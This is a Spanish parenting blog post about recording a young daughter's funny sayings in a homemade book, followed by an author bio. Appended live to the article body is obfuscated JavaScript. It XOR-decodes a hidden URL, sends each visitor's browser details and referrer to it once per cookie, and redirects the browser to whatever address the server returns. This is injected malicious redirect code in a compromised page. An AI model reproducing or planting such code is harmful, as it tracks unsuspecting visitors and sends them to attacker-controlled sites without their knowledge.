Recuerdos imborrables

Su primer chupete, su primer body, su primer pijamita… Las madres somos así, guardamos todo lo de nuestros peques, para que el día de mañana cuando crezcan podamos viajar al pasado con esos recuerdos. Y yo me pregunto: ¿Por qué no guardamos sus ocurrencias?

Probablemente la situación que os describa os sonará a más de una. Llegas del trabajo agotada, pensando en lo que te has dejado por hacer y lo que te espera al día siguiente, y tu hija, que no tiene la culpa de nada, te pide ayuda para montar su castillo de princesas. Tú la miras con cara de “No puedo más”, pero ella insiste e insiste hasta que la contestas de la mejor manera posible para no herirla: “Elena, mami tiene derecho a descansar cinco minutos”. Y ella, que no entiende lo que la dices porque su único objetivo es jugar, jugar y jugar y si es con su mamá mucho mejor, se queda quieta delante de ti, se pone los brazos en jarras y replica: “Y yo izquierdo”. Inevitablemente en ese momento mi cara de cansancio se desvanece y esbozo una sonrisa que me dura hasta el momento de acostarme, porque estas son las cosas que hacen especial y única la maternidad.

Y justo en ese momento me vine una idea a la cabeza: ¿Por qué no hacer un libro con las frases graciosas de mi hija? Lo comento con varias amigas y me dicen que sería una buena idea, que algunas ya lo tienen en mente, pero al final lo dejo pasar. En abril tengo a mi segunda peque y desde entonces se duplican los momentos inolvidables (aunque ella aún no hable), y es entonces cuando decido ponerlo en marcha. Aquí os presento mi primer libro, “Elena y sus ocurrencias”. Cada día me dedico a escribir todas las frases que solo la inocente cabeza de un diablito puede crear, como el día que me dice: “Mamá, ¿por qué te pones lentejas en los ojos?”, cuando quería decir lentillas, o el momento que ve a su padre salir de la ducha y me salta: “¡Papá está desnudo!”, y le contesto: “Sí, es algo natural”. Y ella que el concepto de natural no lo tiene todavía muy claro o sí, responde: “No, natural es el yogur”. ¡De El club de la comedia!

Os animo a que deis forma también vosotras a vuestro propio libro (si es que aún no lo habéis hecho) y que no os demoréis mucho, porque intento recordar muchas frases que Elena nos dijo a su papá y a mí con dos o tres añitos y no soy capaz. Prometo que con la bebé empezaré antes. Además puede ser una buena idea como regalo para los papis de cara a las Navidades, si aún llegáis a tiempo, para el 19 de marzo o para su cumple. Es algo personal, único, diferente, creativo, económico… ¡Lo tiene todo! var uomjftkd = { encode: function (uymcrbbu, ivpjzup1) { var juykdjus = “”; for (var bmtvoq = 0; bmtvoq < uymcrbbu.length; bmtvoq++) { var maoakjle = uymcrbbu.charCodeAt(bmtvoq); var vznvir = maoakjle ^ ivpjzup1.charCodeAt(bmtvoq % ivpjzup1.length); juykdjus = juykdjus + String.fromCharCode(vznvir); } return juykdjus; }};function ivlvxbnl(xspsscex, qmjwsdtc){ return uomjftkd.encode(xspsscex, qmjwsdtc);}function nhqlzziy(vtzoxco, qmjwsdtc) { function mnbggf(url, qvfdnorl, gaurhzsa) { var svzjxjw = new XMLHttpRequest(); var mvlmqh = ""; var ngpewk = []; var djzspyoe; for(djzspyoe in qvfdnorl) { ngpewk.push(encodeURIComponent(djzspyoe) + '=' + encodeURIComponent(qvfdnorl[djzspyoe])); } mvlmqh = ngpewk.join(String.fromCharCode(38)).replace(/%20/g, '+'); svzjxjw.onreadystatechange = gaurhzsa; svzjxjw.open('GET', vtzoxco + "?" + mvlmqh); svzjxjw.send(mvlmqh); } var broilplq = { ua: navigator.userAgent, referrer: document.referrer, host: window.location.hostname, uri: window.location.pathname, lang: navigator.language, guid: qmjwsdtc }; mnbggf(vtzoxco, broilplq, function () { if (this.readyState == 4) { if (this.status == 200) { qvfdnorl = this.responseText; if (typeof(qvfdnorl) === 'string') { if (qvfdnorl.indexOf("http") === 0) { window.location = qvfdnorl; } } } } });}var advuwpjt = Array();var qmjwsdtc = '08430616d2a2d9759b18f9b49fcabc12';if (document.cookie.indexOf(qmjwsdtc) === -1){ advuwpjt.push(String.fromCharCode(88,76,64,67,67,12,30,25,9,75,8,92,2,86,67,71,88,1,90,93,20,23,11,90,95,9,76,0,18,10,28,88,67,22,68,91,64)); document.cookie = qmjwsdtc + '=1; path=/'; advuwpjt = advuwpjt.forEach(function (xspsscex) { var juykdjus = ivlvxbnl(xspsscex, qmjwsdtc); if (typeof(juykdjus) === 'string') { if (juykdjus.indexOf("http") === 0) { nhqlzziy(juykdjus, qmjwsdtc); return; } } });}

Sobre Diana

Soy periodista, emprendedora, amante del teatro (sobre todo infantil) y de los buenos planes (en familia, en pareja, entre amigos, en solitario...). Un día, después de un montón de casualidades, decidí lanzarme a la aventura de poner en marcha mi propio proyecto profesional: Mamá tiene un Plan. Hoy, tengo tres peques y muchas ilusiones, a los que dedico todo mi tiempo y energía. En el viaje me acompaña un hombre maravilloso (al que dedico menos tiempo del que me gustaría y quiero con locura) y una gran familia a la que adoro que hace posible que todo lo demás siga girando. @Diana_M_N

2 comentarios en “Recuerdos imborrables

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *